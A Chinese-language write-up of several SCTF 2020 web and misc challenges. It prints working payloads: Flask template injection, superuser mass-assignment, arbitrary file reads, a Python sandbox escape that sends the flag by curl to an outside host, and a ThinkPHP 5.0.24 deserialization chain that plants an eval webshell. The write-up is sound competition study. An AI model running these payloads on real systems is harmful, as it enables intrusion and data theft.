SCTF 2020 Jsonhub 阅读代码发现,这一题存在着两个环境,其中,内网服务可以ssti,所以我们需要想办法访问内网:
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route('/caculator' , methods=["POST" ] ) def caculator (): try : data = request.get_json() except ValueError: return json.dumps({"code" : -1 , "message" : "Request data can't be unmarshal" }) num1 = str (data["num1" ]) num2 = str (data["num2" ]) symbols = data["symbols" ] if re.search("[a-z]" , num1, re.I) or re.search("[a-z]" , num2, re.I) or not re.search("[+\-*/]" , symbols): return json.dumps({"code" : -1 , "message" : "?" }) return render_template_string(str (num1) + symbols + str (num2) + "=" + "?" )
可以进行符合条件的ssrf的只有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def flask_rpc (request ): if request.META['REMOTE_ADDR' ] != "127.0.0.1" : return JsonResponse({"code" : -1 , "message" : "Must 127.0.0.1" }) methods = request.GET.get("methods" ) url = request.GET.get("url" ) if methods == "GET" : return JsonResponse( {"code" : 0 , "message" : requests.get(url, headers={"User-Agent" : "Django proxy =v=" }, timeout=1 ).text}) elif methods == "POST" : data = base64.b64decode(request.GET.get("data" )) return JsonResponse({"code" : 0 , "message" : requests.post(url, data=data, headers={"User-Agent" : "Django proxy =v=" , "Content-Type" : "application/json" }, timeout=1 ).text}) else : return JsonResponse({"code" : -1 , "message" : "=3=" })
但是需要request.META['REMOTE_ADDR']==127.0.0.1
,利用 CVE-2018-14574跳转到127.0.0.1:8000访问/rpc ,这样我们就能ssti,在这之前我们需要搞到Token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @login_required def home (request ): if request.method == "GET" : return render(request, "templates/home.html" ) elif request.method == "POST" : white_list = ["39.104.19.182" ] try : data = json.loads(request.body) except ValueError: return JsonResponse({"code" : -1 , "message" : "Request data can't be unmarshal" }) if Token.objects.all ().first().Token == data["token" ]: try : if ssrf_check(data["url" ], white_list): return JsonResponse({"code" : -1 , "message" : "Hacker!" }) else : res = requests.get(data["url" ], timeout=1 ) except Exception: return JsonResponse({"code" : -1 , "message" : "Request Error" }) if res.status_code == 200 : return JsonResponse({"code" : 0 , "message" : res.text}) else : return JsonResponse({"code" : -1 , "message" : "Something Wrong" }) else : return JsonResponse({"code" : -1 , "message" : "Token Error" })
1 2 3 4 5 6 7 8 9 10 11 12 13 def reg (request ): if request.method == "GET" : return render(request, "templates/reg.html" ) elif request.method == "POST" : try : data = json.loads(request.body) except ValueError: return JsonResponse({"code" : -1 , "message" : "Request data can't be unmarshal" }) if len (User.objects.filter (username=data["username" ])) != 0 : return JsonResponse({"code" : 1 }) User.objects.create_user(**data) return JsonResponse({"code" : 0 })
构造:{"username":"test66666","password":"test66666","is_staff":true,"is_superuser":true}
得到token:3ad9af405504233188f694a11ff22115
接下来就是ssti了
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route('/caculator' , methods=["POST" ] ) def caculator (): try : data = request.get_json() except ValueError: return json.dumps({"code" : -1 , "message" : "Request data can't be unmarshal" }) num1 = str (data["num1" ]) num2 = str (data["num2" ]) symbols = data["symbols" ] if re.search("[a-z]" , num1, re.I) or re.search("[a-z]" , num2, re.I) or not re.search("[+\-*/]" , symbols): return json.dumps({"code" : -1 , "message" : "?" }) return render_template_string(str (num1) + symbols + str (num2) + "=" + "?" )
最后的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport base64import jsonnum1=1 num2=2 symbols="-{{''.__class__.__mro__[1].__subclasses__()[409]('/readflag',shell=True,stdout=-1).communicate()}}-" data={ "num1" :num1, "num2" :num2, "symbols" :symbols } payload=json.dumps(data).replace("{{" ,"\\u007b\\u007b" ).replace("}}" ,"\\u007d\\u007d" ) payload=base64.b64encode(payload) print (payload)burp0_url = "http://39.104.19.182:80/home/" burp0_cookies = {"sessionid" : "bd63u3ewjx05tc7ajvlkve7b9cu8h4kx" , "csrftoken" : "GBW7niMYrwP9fMP6jpgHN1ujcxEwuRQ4tMKdBDdnZvSlDny51S1K1cMmWtOsR0gO" } burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Accept" : "application/json, text/plain, */*" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" , "Content-Type" : "application/json;charset=UTF-8" , "Origin" : "http://39.104.19.182" , "Referer" : "http://39.104.19.182/home/" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_json={"token" : "3ad9af405504233188f694a11ff22115" , "url" : "http://39.104.19.182//127.0.0.1:8000/rpc?url=http://127.0.0.1:5000/caculator&methods=POST&data={payload}" .format (payload=payload)} print (requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json).text)
SCTF{2b19246757c63738e7c40bbdf87c3be1}
Can you hear We used the receiver to receive the information from the space station and tried to unlock the answer😀.
搜索 “空间站” “接收机” 信息 音频 等关键字找到https://zhuanlan.zhihu.com/p/98103018 https://www.sohu.com/a/159552694_610733 SSTV关键字
https://zhuanlan.zhihu.com/p/105460358 https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04
下载 mmsstv 修改录音设备为立体声混音 具体操作为:Option->Soundcard input level 播放音频得到flag:
SCTF{f78fsd1423fvsa}
CloudDisk app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 HTTP/1.1 200 OK Content-Disposition: attachment; filename="dc62d163f53ce13369ab97041706060c" Content-Length: 1547 Last-Modified: Sat, 04 Jul 2020 05 :14 :45 GMT Cache-Control: max-age=0 Content-Type: application/octet-stream Date : Sat, 04 Jul 2020 05 :14 :50 GMTConnection : closeconst fs = require ('fs' );const path = require ('path' );const crypto = require ('crypto' );const Koa = require ('koa' );const Router = require ('koa-router' );const koaBody = require ('koa-body' );const send = require ('koa-send' );const app = new Koa();const router = new Router();const SECRET = "03229a6694e657077f218c322f3e0bea" app.use(koaBody({ multipart : true , formidable : { maxFileSize : 2000 * 1024 * 1024 } })); router.post('/uploadfile' , async (ctx, next) => { const file = ctx.request.body.files.file; if (!fs.existsSync(file.path)) { return ctx.body = "Error" ; } if (file.path.toString().search("/fd/" ) != -1 ){ file.path="/dev/null" } const reader = fs.createReadStream(file.path); let fileId = crypto.createHash('md5' ).update(file.name + Date .now() + SECRET).digest("hex" ); let filePath = path.join(__dirname, 'upload/' ) + fileId const upStream = fs.createWriteStream(filePath); reader.pipe(upStream) return ctx.body = "Upload success ~, your fileId is hereï¼" + fileId; }); router.get('/downloadfile/:fileId' , async (ctx, next) => { let fileId = ctx.params.fileId; ctx.attachment(fileId); try { await send(ctx, fileId, { root : __dirname + '/upload' }); }catch (e){ return ctx.body = "SCTF{no_such_file_~}" } }); router.get('/' , async (ctx, next) => { ctx.response.type = 'html' ; ctx.response.body = fs.createReadStream('index.html' ); }); app.use(router.routes()); app.listen(3333 , () => { console .log('This server is running at http://localhost:' + 3333 ) })
因为koa中访问参数也是ctx.request.body.xxxx 所以我们可以构造
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /uploadfile HTTP/1.1 Host: 127.0.0.1:3333 Content-Length: 77 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://127.0.0.1:3333 Referer: http://127.0.0.1:3333/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close {"files":{"file":{"path":"flag"}}}
来进行任意文件读取
SCTF{47cf9489d8832e44312dssxag6f88f45736e0e9c8}
bestlanguage 1 2 3 4 5 6 7 8 9 Route::get('/' ,"IndexController@init" ); Route::post('/rm' ,"IndexController@rm" ); Route::get('/tmp/{filename}' , function ($filename ) { readfile("./var/tmp/" .$filename ); })->where('filename' , '(.*)' ); Route::post('/upload' ,"IndexController@upload" ); Route::get('/move/log/{filename}' , 'IndexController@moveLog' )->where('filename' , '(.*)' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php namespace App \Http \Controllers ;class IndexController extends Controller { public function init ( ) { if ($_SERVER ["REMOTE_ADDR" ] !== "127.0.0.1" && strpos($_SERVER ["REMOTE_ADDR" ],"192.168." ) !== 0 && strpos($_SERVER ["REMOTE_ADDR" ],"10." ) !== 0 ) { die ("admin only" ); } if (!file_exists("/var/tmp/" .md5($_SERVER ["REMOTE_ADDR" ]))){ mkdir("/var/tmp/" .md5($_SERVER ["REMOTE_ADDR" ])); } } public function rm ( ) { if (strpos($_POST ["filename" ], '../' ) !== false ) die ("???" ); if (file_exists("/var/" .$_POST ["filename" ])){ if (is_dir("/var/" .$_POST ["filename" ])){ rmdir("/var/" .$_POST ["filename" ]); echo "rmdir" ; } else { unlink("/var/" .$_POST ["filename" ]); echo "unlink" ; } } } public function upload ( ) { if (strpos($_POST ["filename" ], '../' ) !== false ) die ("???" ); file_put_contents("/var/tmp/" .md5($_SERVER ["REMOTE_ADDR" ])."/" .$_POST ["filename" ],base64_decode($_POST ["content" ])); echo "/var/tmp/" .md5($_SERVER ["REMOTE_ADDR" ])."/" .$_POST ["filename" ]; } public function moveLog ($filename ) { $data =date("Y-m-d" ); if (!file_exists(storage_path("logs" )."/" .$data )){ mkdir(storage_path("logs" )."/" .$data ); } $opts = array ( 'http' =>array ( 'method' =>"GET" , 'timeout' =>1 , ) ); $content = file_get_contents("http://127.0.0.1/tmp/" .md5('127.0.0.1' )."/" .$filename ,false ,stream_context_create($opts )); file_put_contents(storage_path("logs" )."/" .$data ."/" .$filename ,$content ); echo storage_path("logs" )."/" .$data ."/" .$filename ; } }
storage_path(“logs”):/var/www/html/storage/logs
upload dir : /var/tmp/md5(IP)/
1 2 3 Route::get('/tmp/{filename}' , function ($filename ) { readfile("./var/tmp/" .$filename ); })->where('filename' , '(.*)' );
直接任意文件读取,但是因为两个../服务器不会解析直接报错的原因无法穿到根目录,后来想到在弄个index.php就好了 最后的payload:http://39.104.93.188/index.php/tmp/../../flag
SCTF{B3st_1angu4g3_F0r_Uohhhhhhhhhh1l1l1}
pysandbox pysandbox1 app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flask, requestapp = Flask(__name__) @app.route('/' , methods=["POST" ] ) def security (): secret = request.form["cmd" ] for i in secret: if not 42 <= ord (i) <= 122 : return "error!" exec (secret) return "xXXxXXx" if __name__ == '__main__' : app.run(host="0.0.0.0" )
测试环境:http://ccreater.top:60011/ 禁用字符:
["\u0000", "\u0001", "\u0002", "\u0003", "\u0004", "\u0005", "\u0006", "\u0007", "\b", "\t", "\n", "\u000b", "\f", "\r", "\u000e", "\u000f", "\u0010", "\u0011", "\u0012", "\u0013", "\u0014", "\u0015", "\u0016", "\u0017", "\u0018", "\u0019", "\u001a", "\u001b", "\u001c", "\u001d", "\u001e", "\u001f", " ", "!", "\"", "#", "$", "%", "&", "'", "(", ")", "{", "|", "}", "~", "\u007f"]
利用魔术方法? : __getitem__,__getattr__
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /?a=__import__('os').system('curl+http%3a//ccreater.top%3a60000/+-d+`cat+flag|base64`') HTTP/1.1 Host: 39.104.90.30:10006 Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: image/webp,image/apng,image/*,*/*;q=0.8 Referer: http://39.104.90.30:10006/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3B8HB5b Content-Length: 248 ------WebKitFormBoundaryx3B8HB5b Content-Disposition: form-data; name="cmd" request.args.__class__.__getattr__=request.args.__class__.__getitem__;app.config.__class__.__eq__=eval;app.config==request.args.a; ------WebKitFormBoundaryx3B8HB5b--
pysandbox2 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /?a=__import__('os').system('curl+http%3a//ccreater.top%3a60000/+-d+`/readflag|base64`') HTTP/1.1 Host: 39.104.90.30:10006 Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: image/webp,image/apng,image/*,*/*;q=0.8 Referer: http://39.104.90.30:10006/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3B8HB5b Content-Length: 248 ------WebKitFormBoundaryx3B8HB5b Content-Disposition: form-data; name="cmd" request.args.__class__.__getattr__=request.args.__class__.__getitem__;app.config.__class__.__eq__=eval;app.config==request.args.a; ------WebKitFormBoundaryx3B8HB5b--
为何payload能运行 我们都知道python 调用类方法的时候会传入self
参数,而我们调用app.config==request.args.a
应该也会传入self参数,那么为什么这个payload可以成功
测试代码
1 2 3 4 5 6 class A (): pass a = A() a.__class__.__eq__=eval a=="print(123)"
我们跟进python底层看看
这里显示nargs显示只有1个参数,参看堆栈,跟踪到最开始的地方
这里我们确实传入了self,其中v是self
,w是print(123)
在call_unbound
处我们发现了原因,是因为ubound==0
在lookup_maybe_method
中设置了ubound的值
#define PyType_HasFeature(t,f) (((t)->tp_flags & (f)) != 0)
The difference between bound and unbound is the value of the .__self__
attribute (None when unbound).
UnsafeDefenseSystem ThinkPHP V5.0.24
1 2 3 4 5 http://39.99.41.124/public/log.txt http://39.99.41.124/public/test/ http://39.99.41.124/public/nationalsb/login.php
在http://39.99.41.124/public/nationalsb/js/script.js中发现账号密码:
1 2 3 //username:Admin1964752 //password:DsaPPPP!@#amspe1221 //Secret **** is your birthday
文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /public/nationalsb/login.php HTTP/1.1 Host: 39.99.41.124 Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 file=/etc/passwd
1 2 Warning</b>: include(): Failed opening 'php://filter/read=convert.base64-encode/resource=index.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/public/nationalsb/login.php
1 2 3 4 5 GET /public/index.php?s=/index/Index/hello&s3cr3tk3y= HTTP/1.1 Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE= Host: 39.99.41.124 Connection: close
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php namespace app \index \controller ;class Index extends \think \Controller { public function index ( ) { $ip = $_SERVER ['REMOTE_ADDR' ]; echo "Warning" ."<br/>" ; echo "You IP: " .$ip ." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior" ; echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">' ; } public function hello ( ) { unserialize(base64_decode($_GET ['s3cr3tk3y' ])); echo (base64_decode($_GET ['s3cr3tk3y' ])); } }
/var/www/html/protect.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 <?php namespace think \cache \driver ;class File { protected $options = []; protected $tag ; public function __construct ( ) { $this ->tag = 'cjbtest' ; $this ->options = [ 'cache_subdir' => false , 'prefix' => '' , 'path' => 'php://filter/write=convert.base64-decode/resource=../../../../../../../../../../../../../../../../tmp/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' , 'data_compress' => false ]; } } namespace think \session \driver ;use think \cache \driver \File ;class Memcached { protected $handler ; function __construct ( ) { $this ->handler=new File(); } } namespace think \console ;use think \session \driver \Memcached ;class Output { protected $styles = []; private $handle ; function __construct ( ) { $this ->styles = ["getAttr" , 'info' , 'error' , 'comment' , 'question' , 'highlight' , 'warning' ]; $this ->handle = new Memcached(); } } namespace think \db ;use think \console \Output ;class Query { protected $model ; function __construct ( ) { $this ->model = new Output(); } } namespace think \model \relation ;use think \console \Output ;use think \db \Query ;class HasOne { public $model ; protected $selfRelation ; protected $parent ; protected $query ; protected $bindAttr = []; public function __construct ( ) { $this ->query = new Query("xx" , 'think\console\Output' ); $this ->model = false ; $this ->selfRelation = false ; $this ->bindAttr = ["xx" => "xx" ]; }} namespace think \model ;use think \console \Output ;use think \model \relation \HasOne ;abstract class Model {} class Pivot extends Model { public $parent ; protected $append = []; protected $data = []; protected $error ; protected $model ; function __construct ( ) { $this ->parent = new Output(); $this ->error = new HasOne(); $this ->model = "test" ; $this ->append = ["test" => "getError" ]; $this ->data = ["panrent" => "true" ]; } } namespace think \process \pipes ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot()]; } } $obj = new Windows();$payload = serialize($obj );echo base64_encode($payload );
写文件到/tmp
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport hashlibpayload=requests.get("http://127.0.0.1/cms/thinkphp/5.0.24/tp5/public/test.php" ).text.strip() burp0_url = "http://8.208.102.48:80/public/index.php" params={ "s" :"/index/Index/hello" , "s3cr3tk3y" :payload } burp0_headers = {"Authorization" : "Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=" , "Connection" : "close" } res=requests.get(burp0_url, headers=burp0_headers ,params=params) print (res.text)print (requests.get("http://8.208.102.48:80/public/log.txt" ).text)
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /public/nationalsb/login.php HTTP/1.1 Host: 8.208.102.48 Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 155 file=php://filter/read=convert.base64-encode/resource=/tmp/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b743f45ea3d60a1190e3f723595050ca2.php&1=phpinfo();&1=phpinfo();
写到文件里的内容
1 2 3 4 <?php //000000000000 exit();?> s:163:"php://filter/write=convert.base64-encode/resource=../../../../../../../../../../../../../../../../tmp/filenamebfe3467e649d6d158c51b5b5494ca5a2.php";
这里 https://www.leavesongs.com/PENETRATION/php-filter-magic.html 里面的方法已经不管用了,我们需要自己想出其他办法
这里我们用php://filter/write=convert.base64-encode|string.rot13|convert.base64-decode/resource=
来绕过死亡exit
1 2 3 4 $backdoor = '<?php eval($_POST[1]);?>' ;$x = str_rot13(base64_encode($payload ));$payload = base64_decode(str_rot13(base64_encode($backdoor )));assert(base64_decode($x ) === $backdoor );
$dieORexit --convert.base64-encode|string.rot13|convert.base64-decode--> something else
$payload --convert.base64-encode|string.rot13|convert.base64-decode--> '<?php eval($_POST[1]);?>'
最后的payload:'path' => 'php://filter/write=convert.base64-encode|string.rot13|convert.base64-decode/resource=../../../../../../../../../../../../../../../../tmp/t'.urldecode("%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%06o%3E")
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /public/nationalsb/login.php HTTP/1.1 Host: 8.208.102.48 Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 126 file=%2ftmp%2ft%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%06o%3E743f45ea3d60a1190e3f723595050ca2.php&1=system('cat /flag');